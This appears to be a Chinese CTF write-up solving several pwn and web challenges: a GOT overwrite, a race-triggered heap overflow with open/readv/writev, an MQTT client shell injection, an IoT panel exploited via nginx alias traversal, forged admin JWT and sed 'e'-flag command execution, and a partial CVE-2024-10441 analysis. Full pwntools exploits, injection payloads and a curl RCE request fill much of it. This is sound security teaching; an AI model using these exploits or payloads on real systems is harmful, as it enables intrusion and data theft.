这个 gadget 的argv 取自 rbp-0x50,envp取自 [rbp-0x70],rbp-0x50本身就可写,把rbp-0x70设为0就行,然后再把rbp-0x40也设为0就满足第二行的条件
而这些位置都落在 v4 这个名字缓冲区内部,所以可以直接伪造
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal=['cmd.exe','/c','start','wsl.exe','bash','-c']
elf = ELF('./pwn-treasure')
libc = ELF('./libc.so.6')
printf_got = elf.got['printf']
puts_got=elf.got['puts']
byte = 0x40a0
printf_got_idx=(printf_got-byte)//8
puts_got_idx=(puts_got-byte)//8
one_gadget = 0xebd43
def leak_puts(io):
io.sendlineafter(b'password: ', b'0')
io.sendlineafter(b'Which one?\n', str(puts_got_idx).encode())
io.send(p8(libc.sym['puts'] & 0xff))
io.recvuntil(b'after your operation, the context: ')
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
io.recvuntil(b'you should tell me your name.\n')
log.success('puts_addr: ' + hex(puts_addr))
return puts_addr
def build_name_payload(libc_base):
payload = flat(
{
0x20: 0,
0x40: 0,
},
filler=b'A',
length=0x50,
)
return payload
def pwn():
#io = process('./pwn-treasure')
io=remote('nc1.ctfplus.cn', 23838)
puts_addr = leak_puts(io)
libc_base = puts_addr - libc.sym['puts']
log.success('libc_base: ' + hex(libc_base))
payload = build_name_payload(libc_base)
#gdb.attach(io)
io.send(payload + b'\n')
io.sendlineafter(b'Last time!Lucky, guy!\n', str(printf_got_idx).encode())
io.send(p64(libc_base + one_gadget))
io.interactive()
if __name__ == '__main__':
pwn()
Throne Hazard
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
典型的菜单堆题,没有pie
但是开了沙箱

不仅禁了mmap,还禁了execve,execveat,后续可能要考虑下ORW
这题虽然被 strip 了,但菜单分发在main里写的非常清楚
英文不好,还是要翻译下
1.校准自我优化目标
2.构建内存胶囊
3.构造执行器
4.调整执行器种子
5.编写广播链路
6.调度执行器
7.查看内存区域
8.退出
它的世界观大概是在用一个叫 Astra-9 的控制台,这边有一个 operator thread,在努力把机器人的 “supremacy” 压低,机器人这边有一个 self-optimizer,想把同一个值抢回来。两边在同一个状态上拉扯,会出现竞争
程序一开始就能看到新线程创建

这个新线程start_routine先留个眼子
看下菜单1

这里就是让用户设置一个appeal_target,在0x20到0x78之间
之后我们再去看看后台线程start_routine

这里就是在status=1的时候把baseline设为了菜单1里的appeal_target,过了一个usleep时段后又设为32,status置为0
菜单 2 Forge memory capsule,如果 capsule(就是这个内存胶囊堆块) 还没分配,那就会 calloc(1, 0x30)

先读 1 字节进 capsule,再按一个全局长度继续读剩下的数据
正常情况下,这个全局长度是 0x20,所以第二段读 0x20 + 0xf = 0x2f
总长度就是1 + 0x2f = 0x30,刚好塞满那个 0x30 的 chunk
但后台线程start_routine会在一个时间窗口里,把这个全局长度从 0x20 临时改成菜单 1 设的 target,菜单 1 允许把 target 设到最大 0x78
所以 race 打中时,第二段读取会变成0x78 + 0xf = 0x87
这时总写入长度就变成1 + 0x87 = 0x88,但 capsule chunk 还是只有 0x30,于是直接往后多写了 0x58 字节
简单说就是race 触发的堆溢出
那么要想达到这个效果,就得让程序先读 1 字节,在看到 forge primer (1 byte)> 之后第二次read刚好撞进这个时间窗口
然后看菜单 3构造执行器:build actuator,它会 malloc(0x48)创建一个 actuator,并初始化若干字段

这个actuator构造好了,那么顺着我们就看下执行这个actuator的函数
就是菜单 6调度执行器:dispatch actuator

它实际上是一个通过 actuator 字段驱动的三参函数调用器
结合前面的菜单3,actuator 结构大概是:
| 偏移 | 内容 | |||
|---|---|---|---|---|
| 0x00 | 's' | 字符串 “sentinel-9” | ||
| 0x01 | 'e' | |||
| 0x02 | 'n' | |||
| 0x03 | 't' | |||
| 0x04 | 'i' | |||
| 0x05 | 0x01 | 硬编码的 1 | ||
| 0x06 | 'n' | |||
| 0x07 | 'e' | |||
| 0x08 | 'l' | |||
| 0x09 | '-' | |||
| 0x0A | '9' | |||
| 0x0 | 's' | 字符串 “status-green” | ||
| 0x0C | 't' | |||
| 0x0D | 'a' | |||
| 0x0E | 't' | |||
| 0x0F | 'u' | |||
| 0x10 | 's' | 菜单 6 取 lane 的位置 | ||
| 0x11 | '-' | |||
| 0x12 | 'g' | |||
| 0x13 | 'r' | |||
| 0x14 | 'e' | |||
| 0x15 | 'e' | |||
| 0x16 | 'n' | |||
| 0x17 | 0x00 | 填充 | ||
| 0x18 | 0x000000000000000C | 菜单 6 取 arg2 的位置 | ||
| 0x20 | actuator + 0x0A | 菜单 6 取 arg1 的位置 | ||
| 0x28 | 0 | 未初始化 | ||
| 0x30 | 0 | 未初始化 | ||
| 0x38 | 0 | 未初始化 | ||
| 0x40 | 0 | 未初始化 | ||
| 0x48 | END |
注意到菜单6取line的位置是字符串’s’,往后取四字节,小端序组合lane = 0x72672D73,这个值远远大于3
这会导致菜单6走不到执行分支
然后看 0x4040e0 这张 dispatch table

这张表默认有 4 个 lane:
- lane 0:write(1, ptr, len),这就是任意读
- lane 1:read(0, ptr, len),这就是任意写
- lane 2:digest,没啥大用
- lane 3:一个 scrub 函数,原本是清内存
要想让菜单6执行就得利用菜单2的漏洞溢出覆盖为我们需要的line值
利用链就是先把 actuator 改成 lane 0,读 read@got,算 libc base
有个细节要注意下就是要先菜单 2再菜单3 ,这样才能把actuator这个chunk放在capsule后面,利用capsule的溢出来打
还有个问题,就是如果把lane3改成open,打开文件的fd=3,但是如果要用read和write的话得修改3个参数,fd,buf和len,lane0和lane1的fd又是写死的用不了
这个菜单6 dispatch只有arg1和arg2可控,限制func(arg1, arg2);
但也不是无路可走,可以考虑下iov,用readv和writev

如果我们调用lane3,那么rdx的值就是3,lane3改成open的话,rdi = path_addr,rsi=0,rdx=3,可以正常用,lane3改成readv的话,实际调用就是readv(rdi,rsi,3),也就是iovcnt是3,3个数组那是肯定够用的,接下来我们只要把rdi改成fd=3,rsi指向iov地址,里面提前布置好操作地址和长度就行,两个参数就能用,writev同理,两个用同一个iov数组就行
可以用任意写提前在栈上布置好struct iovec ,在 amd64 上就是 16 字节
struct iovec {
void *iov_base; //8字节
size_t iov_len; //8字节
};
程序开了pie,所以直接挑一段不会撞到关键全局变量的可写区就行
最后就是把 0x4040f8 这个表项改掉,也就是 lane 3 的函数指针,把 lane 3 依次改成 open、readv、writev操作flag就行

rsi存的就是iov数组的地址

远程的话可能要微调延长下等待时间才够稳定
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe', 'sh', '-c']
lane0 = 0x4040e0
lane3 = 0x4040f8
iov_addr= 0x404150
buf_addr= 0x404180
#候选等待时间
WAITS = [0.166, 0.170, 0.174, 0.178, 0.182, 0.186, 0.190, 0.196, 0.204, 0.220, 0.240, 0.260, 0.300]
def prep(io):
io.sendlineafter(b'>', str(2).encode())
io.sendafter(b'forge primer (1 byte)> ', b'B' * 0x30)
io.recvuntil(b'forge committed\n')
io.sendlineafter(b'>', str(3).encode())
io.recvuntil(b'actuator ready\n')
io.sendlineafter(b'>', str(1).encode())
io.sendlineafter(b'appeal target (0x20-0x78)> ', b'0x78')
io.recvuntil(b'supremacy.\n')
def build_payload(lane, length, data_ptr, inline=b''):
pay = bytearray(b'A' * 0x88)
pay[:8] = b'sentinel'
pay[0x30:0x38] = p64(0)
pay[0x38:0x40] = p64(0x51)
pay[0x50:0x54] = p32(lane)
pay[0x58:0x60] = p64(length)
pay[0x60:0x68] = p64(data_ptr)
pay[0x68:0x88] = inline[:0x20].ljust(0x20, b'\x00')
return bytes(pay)
def race_once(io, lane, length, data_ptr, wait, inline=b''):
io.sendlineafter(b'>', str(2).encode())
state = io.recvuntil((b'forge primer (1 byte)> ', b'wait for the floor cycle\n'))
if b'wait for the floor cycle\n' in state:
io.recvuntil(b'> ')
return 0
sleep(wait)
pay = build_payload(lane, length, data_ptr, inline)
io.send(pay[:1])
io.send(pay[1:])
io.recvuntil(b'forge committed\n')
io.sendlineafter(b'>', str(7).encode())
blob = io.recvuntil(b'> ')
io.unrecv(b'> ')
if b'lane=%d ' % lane in blob and (b'len=0x%x' % length in blob or b'len=%d' % length in blob):
log.success('race hit -> lane=%d len=%#x wait=%.3f' % (lane, length, wait))
return wait
return 0
def arm(io, lane, length, data_ptr, inline=b'', waits=None, rounds=1):
if waits is None:
waits = WAITS
for _ in range(rounds):
for wait in waits:
hit = race_once(io, lane, length, data_ptr, wait, inline)
if hit:
return hit
raise EOFError('race miss')
def retune(wait):
waits = [
max(0.0, wait - 0.006),
max(0.0, wait - 0.002),
wait,
wait + 0.004,
wait + 0.010,
]
return waits, 8 if args.REMOTE else 20
def aar_read(io, waits, rounds):
hit = arm(io, 0, 8, elf.got['read'], waits=waits, rounds=rounds)
io.sendlineafter(b'>', str(6).encode())
io.recvuntil(b'[dispatch lane 0]\n')
# leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
leak = u64(io.recvn(8))
io.recvuntil(b'[dispatch complete]\n')
return leak, hit
def aaw(io, addr, data, waits, rounds):
hit = arm(io, 1, len(data), addr, waits=waits, rounds=rounds)
io.sendlineafter(b'>', str(6).encode())
io.recvuntil(b'[dispatch lane 1]\n')
io.send(data)
io.recvuntil(b'[dispatch complete]\n')
return hit
def call_lane(io, lane, data_ptr, length, waits, rounds, inline=b''):
hit = arm(io, lane, length, data_ptr, inline=inline, waits=waits, rounds=rounds)
io.sendlineafter(b'>', str(6).encode())
return hit
def one(path):
#io = process('./pwn')
io= remote('nc1.ctfplus.cn', 44988)
try:
prep(io)
waits = WAITS
rounds = 24 if args.REMOTE else 80
read_addr, hit = aar_read(io, waits, rounds)
libc_addr = read_addr - libc.sym['read']
log.success('read@libc = %#x' % read_addr)
log.success('libc base = %#x' % libc_addr)
waits, rounds = retune(hit)
blob = flat(
buf_addr, 0x80,
).ljust(0x30, b'\x00') + path[:0x20].ljust(0x20, b'\x00')
hit = aaw(io, iov_addr, blob, waits, rounds)
waits, rounds = retune(hit)
hit = aaw(io, lane0, p64(libc_addr + libc.sym['openat']), waits, rounds)
waits, rounds = retune(hit)
hit = call_lane(io, 0, 0xffffffffffffff9c, buf_addr, waits, rounds)
waits, rounds = retune(hit)
io.recvuntil(b'[dispatch complete]\n')
hit = aaw(io, lane3, p64(libc_addr + libc.sym['readv']), waits, rounds)
waits, rounds = retune(hit)
#gdb.attach(io)
hit = call_lane(io, 3, 3, iov_addr, waits, rounds)
waits, rounds = retune(hit)
io.recvuntil(b'[dispatch complete]\n')
hit = aaw(io, lane3, p64(libc_addr + libc.sym['writev']), waits, rounds)
waits, rounds = retune(hit)
call_lane(io, 3, 1, iov_addr, waits, rounds)
sleep(0.2)
return io.recvrepeat(1.5)
finally:
io.close()
def main():
path = (args.PATH or '/flag').encode()
if not path.endswith(b'\x00'):
path += b'\x00'
if len(path) > 0x20:
raise ValueError('flag path too long')
attempts = int(args.ATTEMPTS or 100)
for i in range(attempts):
log.info('attempt %d' % (i + 1))
try:
data = one(path)
except Exception as e:
log.warning('attempt %d failed: %s' % (i + 1, e))
continue
if data.strip():
print(data.decode('latin-1', 'replace'))
if args.PATH or b'flag{' in data.lower() or b'ctf{' in data.lower() or b'polaris' in data.lower():
return
raise SystemExit('no flag hit')
if __name__ == '__main__':
main()
mini-mqtt
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'$ORIGIN'
SHSTK: Enabled
IBT: Enabled
Stripped: No
这是个 MQTT 客户端程序,这个协议第一次听说
直接给ai看看,main是阅读入口,主要逻辑是连接到 MQTT broker,默认地址是 tcp://localhost:9999
client id 是 httpclient,订阅主题 HTTP,每隔 1 秒调用一次 msgsend(“200”)
它会不断往 HTTP 主题发:
{"clientid":"httpclient", "message":"200"}

这个点非常重要,看见 200心跳,说明目标客户端在线,看不见心跳,说明 broker 可能还活着,但真正执行逻辑的 httpclient 没挂上来
一开始打远程时总是打坏,我还以为是远端的问题,开了好几个靶机,后来发现问题在于没有等心跳就发payload了,客户端也一直没有挂上来
msgarrvd是 MQTT 的消息回调
它大致逻辑是:如果消息长得像 JSON,并且 clientid == “httpclient”,就直接忽略,否则把消息正文丢给 http()

这里的意义是,程序自己通过 msgsend()发出来的 JSON 心跳或者结果消息不会再次进入解析逻辑
只有我们主动发到 HTTP主题上的原始文本消息,才会被当成 HTTP 请求处理
所以利用方式不是打传统 socket HTTP,而是连接 MQTT broker,往主题 HTTP发布一段看起来像 HTTP 请求的字符串
msgsend负责把结果包装成 JSON,再发回 HTTP主题
格式大概是:
{"clientid":"httpclient", "message":"<内容>"}
所以一旦 http()里执行了命令、读到了某行输出,我们最终在 MQTT 侧看到的不是裸字符串,而是:
{"clientid":"httpclient", "message":"<内容>"}
通道不管是输入输出都在这个http主题里
大致逻辑是
MQTT Broker
(tcp://localhost:9999) 目标程序(客户端)
↓ ↓
连接Broker ------> 接收连接 <------ 主动连接Broker
发消息 ------> 转发主题 HTTP 的消息 ----> 触发 msgarrv
↓
------- 执行 http(v9)
接下来重点看下http()这个自定义函数的逻辑

http()会把 MQTT 消息当作 HTTP 请求文本处理,并尝试从 GET 路径里取出“文件名”
从字符串可以看到它支持的格式类似:
GET /home/ctf/%63[^ "
GET %*[^/]/ctf/%63[^ "
GET %*s/ctf/"%63[^"]"
本质上就是:从 /ctf/后面抠一个文件名出来。
拿到文件名后,它会做:
snprintf(local_cmd, 0x80, "cat /home/ctf/%s", filename);
memcpy(cmd, local_cmd, strlen(local_cmd));
然后在满足条件时执行:
popen(cmd, "r");
这说明最终执行的是 shell 命令,文件名如果能混进 shell 元字符,就有命令注入的可能
程序不是完全没过滤,它做了两层限制:逐字节把 /和 .替换成 _,只允许真正读取 index_html
从逻辑上看,它本来想做的是:只允许访问 /home/ctf/index_html,不允许路径穿越
但是它漏了两个关键问题
第一个漏洞在于过滤了 / 和 . 却没有过滤 ;
程序只把 /和 .改成 _,但是像下面这些字符都还活着:
;${}*|
所以我们完全可以把文件名写成:
index_html;cat${IFS}flag*
拼接后就会变成:
cat /home/ctf/index_html;cat${IFS}flag*
不能出现空格,因为文件名的 sscanf在空格处截断
/ 会被改成 _,所以不能直接写 /flag
因此 payload 要稍微做一下 shell 级绕过:
- 用
${IFS}代替空格 - 优先尝试相对路径
flag* - 要造
/,可以用${PWD:0:1}或${PATH:0:1}
还有一个漏洞是memcpy(strlen) 没有拷贝结尾 \0

strlen 计算长度 = 不包含 \0
memcpy 只拷贝 strlen 长度 = 不拷贝 \0
目标缓冲区 cmd 没有字符串结束符
程序把构造好的命令写到全局变量 cmd 时,用的是:
memcpy(cmd, local_cmd, strlen(local_cmd));

这个popen函数处理字符串的时候就是靠找\0来判断字符串在哪里结束
这意味着如果先写入一个长字符串,再用一个更短的字符串覆盖前缀
那么旧字符串尾巴会残留下来
程序还有一道逻辑门,只有文件名严格等于 index_html且 ContentLength <= 10且长度检查通过
它才会真的 popen(cmd, "r")
这就导致单次直接打:
GET /home/ctf/index_html;cat${IFS}flag* HTTP/1.1
虽然能把恶意命令写进 cmd,但文件名已经不是 index_html 了,会被拒掉
这时第二个漏洞就派上用场了:我们不要求第一阶段直接执行,只要求它把恶意后缀种进全局 cmd
发送:
GET /home/ctf/index_html;cat${IFS}flag*||cat${IFS}${PWD:0:1}flag* HTTP/1.1
Host: x
这一步的结果程序从路径里取出整个恶意文件名,生成长命令并写入全局 cmd,因为文件名不等于 index_html,这次不会正常执行
但我们的目的已经达到了恶意后缀进 cmd
再发送:
GET /home/ctf/index_html HTTP/1.1
Host: x
ContentLength: 10
文件名是合法的 index_html,ContentLength: 10 正好满足检查,memcpy的时候新命令更短,只覆盖了前缀,没有写入 \0
前一阶段的恶意后缀还留在 cmd 后面,popen(cmd, "r") 最终执行了拼好的恶意命令
这就是完整的利用链
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context.binary = elf
host = 'nc1.ctfplus.cn'
port = 21537
local_host = '127.0.0.1'
local_port = 9999
topic = ('HTTP').encode()
cmd = ('cat${IFS}flag*||cat${IFS}${PATH:0:1}flag*').encode()
observe = float(3)
wait_heart = float(0)
window = float(8)
force = args.FORCE
client_id = (('exp_' + randoms(6))).encode()
gs = 'b *main\nc'
def tick_count(seconds, step=0.2):
total = int(seconds / step)
if seconds > total * step:
total += 1
return total
def mqtt_len(value):
data = b''
while 1:
cur = value & 0x7f
value >>= 7
if value:
cur |= 0x80
data += p8(cur)
if not value:
return data
def mqtt_str(data):
if isinstance(data, str):
data = data.encode()
return p16(len(data), endian='big') + data
def xrecv(size, timeout=1):
if not size:
return b''
data = io.recvn(size, timeout=timeout)
if len(data) != size:
raise EOFError('short read')
return data
def recv_packet(timeout=0.2):
if not io.can_recv(timeout):
raise EOFError('timeout')
header = xrecv(1)[0]
remain = 0
shift = 0
while 1:
cur = xrecv(1)[0]
remain |= (cur & 0x7f) << shift
if not (cur & 0x80):
break
shift += 7
return header, xrecv(remain)
def parse_publish(header, body):
pos = 0
topic_len = u16(body[pos:pos + 2], endian='big')
pos += 2
topic = body[pos:pos + topic_len]
pos += topic_len
packet_id = None
if (header >> 1) & 3:
packet_id = u16(body[pos:pos + 2], endian='big')
pos += 2
return topic, packet_id, body[pos:]
def http_message(payload):
if not payload.startswith(b'{"clientid":"httpclient"'):
return None
if b'"message":' not in payload:
return None
tail = payload.split(b'"message":', 1)[1].lstrip()
if not tail.startswith(b'"'):
return None
return tail[1:].split(b'"', 1)[0]
def mqtt_connect():
global io
for name, level, label in (
(b'MQTT', 4, 'MQTT 3.1.1'),
(b'MQIsdp', 3, 'MQTT 3.1'),
):
#io = remote(host, port)
io=remote(local_host, local_port)
body = mqtt_str(name) + p8(level) + b'\x02' + p16(0x3c, endian='big') + mqtt_str(client_id)
io.send(b'\x10' + mqtt_len(len(body)) + body)
try:
header, resp = recv_packet(1)
except EOFError:
io.close()
continue
if header == 0x20 and resp == b'\x00\x00':
log.success('connected to %s:%d via %s' % (local_host, local_port, label))
return
io.close()
raise SystemExit('connect failed')
def subscribe(topic, packet_id=1):
body = p16(packet_id, endian='big') + mqtt_str(topic) + b'\x00'
io.send(b'\x82' + mqtt_len(len(body)) + body)
header, resp = recv_packet(1)
if header != 0x90:
raise SystemExit('bad suback: %#x %r' % (header, resp))
def publish(topic, data):
if isinstance(data, str):
data = data.encode()
body = mqtt_str(topic) + data
io.send(b'\x30' + mqtt_len(len(body)) + body)
def poison(cmd):
return b'GET /home/ctf/index_html;' + cmd + b' HTTP/1.1\r\nHost: x\r\n'
def trigger():
return b'GET /home/ctf/index_html HTTP/1.1\r\nHost: x\r\nContentLength: 10\r\n'
def drain(seconds, stop_on_heartbeat=False, ignore=()):
seen_heartbeat = False
for _ in range(tick_count(seconds)):
try:
header, body = recv_packet(0.2)
except EOFError:
continue
if header >> 4 != 3:
continue
cur_topic, _, payload = parse_publish(header, body)
if cur_topic != topic or payload in ignore:
continue
msg = http_message(payload)
if msg is None:
try:
log.info(payload.decode())
except Exception:
log.info(repr(payload))
continue
if msg == b'200':
seen_heartbeat = True
log.info('heartbeat => %s' % msg.decode())
if stop_on_heartbeat:
break
continue
try:
log.success('httpclient => %s' % msg.decode())
except Exception:
log.success('httpclient => %r' % msg)
return seen_heartbeat
def exp():
stage1 = poison(cmd)
stage2 = trigger()
mqtt_connect()
subscribe(topic)
log.info('topic => %s' % topic.decode())
log.info('cmd => %s' % cmd.decode())
seen_heartbeat = False
if wait_heart > 0:
seen_heartbeat = drain(wait_heart, stop_on_heartbeat=True)
else:
seen_heartbeat = drain(observe)
if not seen_heartbeat:
if not force:
raise SystemExit('no httpclient heartbeat observed')
log.warning('no httpclient heartbeat observed, force sending payloads')
publish(topic, stage1)
log.info('stage1 sent')
sleep(0.4)
publish(topic, stage2)
log.info('stage2 sent')
drain(window, ignore=(stage1, stage2))
if __name__ == '__main__':
exp()
ct
题目的出题人是大佬师傅z1r0
描述是一道IOT世界的入门经典
先打开靶机看看

看上去是一个智能iot设备管理平台,可以看到相机,传感器,智能门锁等设备信息
然后看下题目给的Nginx 配置文件 default.conf
因为它提供了后端侧材料,里面可能直接泄露路由、后端服务端口、鉴权方式、配置文件路径
/static这段
location /static {
alias /var/www/static/;
}
这段是第一个漏洞点
location /static 没有以 / 结尾,但 alias /var/www/static/ 以 / 结尾,这是一个非常经典的web漏洞 Nginx alias traversal 配置错误,就是Nginx目录穿越
它会导致:/static../app/config.yaml
这种路径在拼接后逃出 /var/www/static/,实际读到其他目录中的文件
也就是说,本来只想开放静态目录,实际上却能读到 /var/www/app/下面的文件
/api/config/这段
# Backend: config-service (:3002), JWT: /var/www/app/config.yaml
location /api/config/ {
proxy_pass http://127.0.0.1:3002;
}
这段给了两个特别关键的信息:配置服务在 127.0.0.1:3002,JWT 配置文件路径就是 /var/www/app/config.yaml
这等于直接把敏感文件目标告诉我们了
/admin/config/这段
# allow 10.10.0.0/24;
# allow 127.0.0.1;
# deny all;
# [2024-12-20] Ops temporarily disabled IP restriction for network debugging
location /admin/config/ {
proxy_pass http://127.0.0.1:3002/api/config/;
}
这里说明原本应该有 IP 白名单限制,但被临时注释掉了,也就是说,只要我们能伪造出合法 JWT,就能从外部直接访问配置管理接口
根据上面的 alias traversal,直接访问:
/static../app/config.yaml
远程实际返回了:
jwt_secret: "iot-guardian-s3cret-key-2024"
data_dir: "/data/devices"
backup_dir: "/data/backups"
这里最重要的是jwt密钥:
jwt_secret: iot-guardian-s3cret-key-2024
伪造管理员 JWT,既然配置里给了 jwt_secret,那就直接按 HS256 伪造 token
我使用的 payload 很简单:
{"user":"admin","role":"admin"}
Python 生成方式如下:
import jwt
secret = "iot-guardian-s3cret-key-2024"
token = jwt.encode({"user": "admin", "role": "admin"}, secret, algorithm="HS256")
print(token)
运行得伪造的jwt token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ._gZdNdThAGY5_VxtEedhpiZeD0kpC_LxYnOfzQmuAAU
带上:
Authorization: Bearer <token>
返回了json配置,说明已经成功验证了管理员权限可以获得

之后,下面这些接口都能访问:
GET /api/config/list
GET /api/config/view?device_id=cam-01
GET /api/logs?level=ERROR
这一步证明了链路成立,文件读取不只是信息泄露,而是能直接转成后台管理权限
接着分析 /api/config/update,因为list和 view 基本是只读
logs也是查询类接口
update是唯一明显会修改配置内容的接口,最容易出现命令拼接,模板拼接,文本处理器拼接问题
题目没有给 config-service 源码,所以这里只能走黑盒推理
这是更新前

发送:
{
"device_id": "cam-01",
"old_value": "DefaultSSID",
"new_value": "X"
}

返回结果里,原来的这一行:
ssid = DefaultSSID
变成了:
X
这说明它不是把值改成 X,而是把整一行替换成了 X
这已经很像文本处理命令,例如:
sed '/pattern/c replacement' file
或者:
sed 's#^.*pattern.*$#replacement#' file
再测 old_value
继续测试后发现:old_value=’.’可以命中所有非空行,old_value 不能带大多数正则字符
服务端会提示 invalid old_value: must be alphanumeric
这说明后端对 old_value 有过滤,但过滤并不严,至少 .`还能通过
再测 new_value
new_value 的现象很关键:
1. `X#` 会成功,结果只剩 `X`
2. `X #` 会成功,结果变成 `X `
3. `X"#` 会成功,结果变成 `X"`
4. `X'#` 会成功,结果变成 `X'`
5. `X#Y` 会直接 500
这个行为非常像 #被当成了 sed替换表达式的分隔符
也就是说,后端极可能在做这种拼接:
sed 's#^.*DefaultSSID.*$#<new_value>#' /data/devices/cam-01.conf
如果 new_value里再出现一个 #,就能提前闭合替换串。
于是:
X#Y
会被解释成:
s#pattern#X#Y
后面的 Y 会被当成非法 flag,所以返回 500
/api/config/update 的真实漏洞是用户可控的 new_value 被直接拼进了 sed 替换表达式,而且没有正确转义分隔符和 flag
GNU sed 有一个非常危险的特性:
s/regexp/replacement/e
末尾的 e flag 会把替换结果当成 shell 命令执行。
如果这里的分隔符是 #,那么 payload 就可以写成:
cat /flag#e
它会把整条表达式变成:
s#^.*DefaultSSID.*$#cat /flag#e
意思就是:找到匹配 DefaultSSID 的那一整行,用字符串 cat /flag 作为替换结果
再加上 e flag,sed 把 cat /flag 当 shell 命令执行
命令输出再作为最终替换内容写回返回结果
这就是标准的命令执行
真正的利用链更偏 Web 配置漏洞 + 命令执行
curl -i -m 12 -X POST \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
--data '{"device_id":"cam-01","old_value":"DefaultSSID","new_value":"cat /flag#e"}' \
"$HOST/api/config/update"

mw
这题是出题人换了镜像才打出来的
旧的 pwn-mw-user 镜像,我卡在纯题内远端收尾这一步
前面我其实都已经打通了,account 的换行注入能稳定进 mw_plugind
能注入任意环境变量,LD_PRELOAD + libmemusage/libpcprofile 这类 loader 副作用能稳定拿到文件写原语
远端也确认过能往指定路径写文件,甚至能在 web 根落地探针文件
真正卡住的是最后这一下还缺一个精确文本写
memusage 能精确写路径,但内容是二进制 blob
pcprofile 能写,但只是一小段坏头,不是干净文本
LD_DEBUG / sotruss 这种能写文本,但文件名会自动带 .pid
我一直没在题目自带环境里找到一个既能精确指定文件名,又能写我想要的纯文本内容的现成 writer
比较有意思的是我发现出题人似乎在题目里藏了一些提示,旧镜像解出来的文件系统里找 /root/flag.txt发现MW{CVE_2024_10441_env_1nj3ct10n_v1a_pl0g1n_sdk}
后面改了镜像以后,新镜像不是老题那种静态 /root/flag.txt 了,而是启动脚本把环境变量 FLAG 动态写到 /flag.txt
路由里多了 MW.API.Network.Ping,同时还有 mwtoken.so 这套 token 逻辑
它强烈暗示题眼就是 CVE-2024-10441 这类 plugin SDK 环境变量注入
让我更确信旧image里看到的 account 换行注入不是巧合,而是作者明确想让走这条链
后来也是找了公开资料让ai去学习参考:https://assets.contentstack.io/v3/assets/blte4f029e766e6b253/bltad0709de42b54e82/689604359f008cdd02f69917/disguise-delimit-whitepaper.pdf和https://nvd.nist.gov/vuln/detail/CVE-2024-10441,让它结合题目更新后的镜像结构自己重推出后面的利用链
来看题目,先连上靶机看看

一个管理系统的登录界面,大概率也是web+pwn的结合
题目给的是一个oci镜像文件,需要先解压拿到完整的文件树看看
img='/mnt/c/Users/WYH/Desktop/polarisctf招新赛/pwn/pwn-image-mw--revenge'
out='/mnt/c/Users/WYH/Desktop/polarisctf招新赛/pwn/pwn-image-mw--revenge-rootfs'
rm -rf "$out"
mkdir -p "$out"
grep -o 'blobs/sha256/[0-9a-f]*' "$img/manifest.json" | tail -n +2 | while read -r layer; do
tar -xf "$img/$layer" -C "$out"
done
echo "unpacked to: $out"
拿到文件树后,先看服务是怎么跑起来的
start.sh
#!/bin/bash
set -e
if [ -z "$FLAG" ]; then
echo "[ERROR] FLAG environment variable is not set!"
exit 1
fi
echo -n "$FLAG" > /flag.txt
chmod 600 /flag.txt
exec /usr/bin/supervisord -n
flag 不是镜像里写死的,而是容器启动时动态写到 /flag.txt
注意到这句exec /usr/bin/supervisord -n,说明这是一个supervisor 服务主程序
看下supervisor配置
etc/supervisor/conf.d/mw.conf:
[supervisord]
nodaemon=true
logfile=/var/log/supervisord.log
pidfile=/var/run/supervisord.pid
[program:mw_plugind]
command=/usr/mw/bin/mw_plugind
autostart=true
autorestart=true
stdout_logfile=/var/log/mw_plugind.log
stderr_logfile=/var/log/mw_plugind_err.log
priority=10
[program:mwcgi]
command=/usr/mw/bin/mwcgi
autostart=true
autorestart=true
stdout_logfile=/var/log/mwcgi.log
stderr_logfile=/var/log/mwcgi_err.log
priority=20
[program:nginx]
command=/usr/sbin/nginx -g "daemon off;"
autostart=true
autorestart=true
stdout_logfile=/var/log/nginx/stdout.log
stderr_logfile=/var/log/nginx/stderr.log
priority=30
[program:cron]
command=/usr/local/bin/start-crond.sh
autostart=true
autorestart=true
startsecs=3
startretries=10
stdout_logfile=/var/log/crond.log
stderr_logfile=/var/log/crond_err.log
priority=5
这说明服务主链是:
nginx -> mwcgi -> entry.cgi -> 各个 API .so
同时还有一个独立常驻的插件守护进程:
mw_plugind
这两个进程的组合,正好对应 CVE-2024-10441 那条思路
注意到一个细节就是这里没有写user=…, supervisor 里默认规则:不指定用户 = 以 root 身份运行
也就是说mw_plugind包括后面的其他程序进程,都是继承root权限来运行的
负责转发和分发的就是entry.cgi,要看它到底调用了哪些api,
就看路由文件 .lib
usr/mw/webman/webapi:
MW.API.Auth.lib
{
"MW.API.Auth": {
"lib": "lib/MW.API.Auth.so",
"authLevel": 0,
"methods": {
"7": [
{"login": {}},
{"logout": {}}
]
}
},
"MW.API.Auth.Key": {
"lib": "lib/MW.API.Auth.so",
"authLevel": 1,
"methods": {
"7": [
{"get": {"symbol": "auth_key_get"}}
]
}
},
"MW.API.Auth.Type": {
"lib": "lib/MW.API.Auth.so",
"authLevel": 2,
"methods": {
"7": [
{"get": {"symbol": "auth_type_get"}}
]
}
},
"MW.API.Auth.UIConfig": {
"lib": "lib/MW.API.Auth.so",
"authLevel": 0,
"methods": {
"1": [
{"get_ui_config": {"symbol": "auth_uiconfig_get"}}
]
}
}
}
auth_key_get被直接调用了,没有校验权限和密码
auth_key_get能用来验证当前传入的token是否正确
auth_uiconfig_get是未授权配置读取面
MW.API.Network.Ping.lib
{
"MW.API.Network.Ping": {
"lib": "lib/MW.API.Network.Ping.so",
"authLevel": 1,
"methods": {
"1": [
{"run": {"symbol": "network_ping_run"}}
]
}
}
}
这是ping网络测试接口,需要接收用户输入,比如端口信息,但如果输入不是正常命令,就会发生命令注入
